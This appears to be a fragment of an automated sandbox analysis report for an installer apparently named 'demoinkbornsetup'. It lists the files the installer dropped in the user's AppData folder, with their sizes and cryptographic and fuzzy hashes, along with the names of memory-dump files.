SSDEEP 24:TL03lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tw31DtX5nDOvyKDhU1cSB
TLSH
T115F2469BE93C6FA3CCC56FB08B47E5B51F752BDEE68276C4247130A10EA860055E7443
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bd2a135a-a730-45e7-a032-4ec86274831f.tmp

Path C:\Users\Admin\AppData\Roaming\demoinkbornsetup\Network\bd2a135a-a730-45e7-a032-4ec86274831f.tmp
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Roaming\demoinkbornsetup\Preferences
Size 93B
SHA256 529b6595a4727a6b2d6cc154ae51f426216c01fc7fda02de2460abfb3de118a4
MD5 322f01bb491180333c338526d93f115a
SHA1 554d5e43d5e46774b8f2a6b3682243a289927754
SHA512 69f8e980f44b1465cee8c0485598fa00be163db0fe88598e45ab2f817f9bea36a2b70dbb9d25d5214174ea9c198b9641bb3d5a86c18b1a4ea4493c00e2e95eb2
TLSH
T103B01253B810A0324B1B09E5000BC94F2CBE00340E475A0510D4F39D492DD4D088702B
MD5 SHA1 SHA512 TLSH

Submit Download

index

Path C:\Users\Admin\AppData\Roaming\demoinkbornsetup\Shared Dictionary\cache\index
Size 24B
SHA256 fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d
MD5 54cb446f628b2ea4a5bce5769910512e
SHA1 c27ca848427fe87f5cf4d0e0e3cd57151b0d820d
SHA512 8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Roaming\demoinkbornsetup\Shared Dictionary\cache\index-dir\the-real-index
Size 48B
SHA256 96cf176867ebe8b78fd29424c9d5419960e7bcf9dc508f50f1297f0ecf860e5d
MD5 517440f90c279cfdb2041847fec064c0
SHA1 4be7a7af06735879eafbb414325248e1b7381cbd
SHA512 f76d60493705c545fa4b8a8284536c504e27a5c5bfd502eba0fdc5ba58e5fc09d20a066223a42f01a258e694015afebe652bd98f8c7f415d687826680cd63ef5
MD5 SHA1 SHA512

Submit Download

Path C:\Users\Admin\AppData\Roaming\demoinkbornsetup\Shared Dictionary\db
Size 44KB
SHA256 9dfba1d139c9933668e58e9c7777804c8ae01b2942dcc2dfaaa65ac139853a59
MD5 726d6140f181f7300ea50c13070a5903
SHA1 5a78b8a7db3078a7ca5a81e4fb78ed35ca476515
SHA512 6d48e90d26205be87925543a1645036971b9419785e0e8ba5987cc27c7926a53c71338dc2336878c649d186142239ed8be93309a7f2e695409119a624c2b3e9c
SSDEEP 24:TL6lgJhPwMuz6G0ZestjteX4yNQeYlv+1b3IeNS6+6Uwg8TPq81fBG:TBOIy4m1b3fbUdeqSB
TLSH
T11013AA0F1E187551D1BD0235E9E64E6B2E7E205C9B8369D125F01AF24DE211C5D2F27F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2564-1038-0x000002312EF70000-0x000002312EF92000-memory.dmp

Download

memory/3516-1279-0x0000025DC5510000-0x0000025DC5520000-memory.dmp

Download